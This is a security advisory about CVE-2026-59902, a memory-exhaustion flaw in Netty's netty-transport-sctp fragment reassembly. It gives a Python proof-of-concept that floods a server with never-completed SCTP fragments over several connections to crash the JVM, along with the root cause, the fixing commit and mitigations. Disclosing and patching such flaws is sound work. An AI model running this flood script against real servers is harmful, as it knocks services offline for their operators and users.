high · 7.5CVE-2026-59902Aug 17, 2026

CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Netty's SCTP message reassembler buffers incoming fragments without any byte-size limit, so an unauthenticated attacker can fill server memory and trigger an OutOfMemoryError with just a few…

Packageio.netty:netty-transport-sctp
Ecosystemmaven
Affected>= 4.2.0.Final, <= 4.2.16.Final
Fixed in4.2.17.Final
CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion

The problem

SctpMessageCompletionHandler accumulates fragments for incomplete SCTP messages in a per-stream map. The fix for CVE-2026-46340 capped the number of concurrent incomplete messages (default 128) and fragments per message (default 128), but never bounded the total bytes buffered.

With defaults and a 64 KB SCTP chunk ceiling, a single connection can force the handler to hold up to 128 × 128 × 64 KB ≈ 1 GB. Opening a handful of concurrent connections is enough to exhaust heap and crash the JVM with an OutOfMemoryError. No authentication is required.

Proof of concept

A working proof-of-concept for CVE-2026-59902 in io.netty:netty-transport-sctp, with the exact payload below.

python
#!/usr/bin/env python3
# Requires: pysctp  (pip install pysctp)
# Target:   Netty server using SctpMessageCompletionHandler, 4.2.0–4.2.16.Final
# Goal:     exhaust server heap via unbounded fragment buffering (CVE-2026-59902)

import sctp, socket, time

SERVER = ('192.0.2.1', 9999)
FRAGMENT_SIZE  = 65535          # near-max SCTP chunk
NUM_STREAMS    = 128            # max incomplete messages (default limit)
FRAGMENTS_EACH = 128            # max fragments per message (default limit)
# 128 streams * 128 frags * 64 KB ≈ 1 GB per connection -- never send 'complete'

def flood():
    sock = sctp.sctpsocket_tcp(socket.AF_INET)
    sock.connect(SERVER)
    payload = b'X' * FRAGMENT_SIZE
    for stream_id in range(NUM_STREAMS):
        for _ in range(FRAGMENTS_EACH):
            # complete=False: handler buffers the fragment, never reassembles
            sock.sctp_send(payload, to=SERVER, stream=stream_id, ppid=0)
    print(f'[+] stream flooding done, buffers held in server heap')
    time.sleep(9999)  # keep connection alive so buffers are not released

if __name__ == '__main__':
    import threading
    # a few concurrent connections multiply the heap pressure
    for _ in range(4):
        threading.Thread(target=flood, daemon=True).start()
    time.sleep(9999)

The prior CVE-2026-46340 patch introduced fragment-count and message-count guards but added no byte-budget check. The decode loop in SctpMessageCompletionHandler still appended every incoming fragment to an in-memory list without comparing accumulated bytes against any ceiling.

The fix in commit 1b5abc6443b63726c72cdd285af2feb7ddbb8ff7 (PR #17217) adds a configurable byte-size limit (maxIncompleteSctpMessageBytes / maxFragmentSize). When a new fragment would push the per-message byte total past that limit, the handler now drops the fragment and closes the connection, preventing unbounded heap growth.

Root cause is CWE-770: Allocation of Resources Without Limits or Throttling.

The fix

Upgrade to netty-transport-sctp 4.2.17.Final (or 4.1.137.Final for the 4.1.x line). Both versions add a byte-size ceiling on buffered fragment data alongside the existing count limits. If an immediate upgrade is not possible, place a firewall or load-balancer rule in front of the SCTP port to restrict the maximum DATA chunk payload size and limit concurrent SCTP associations per source IP.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research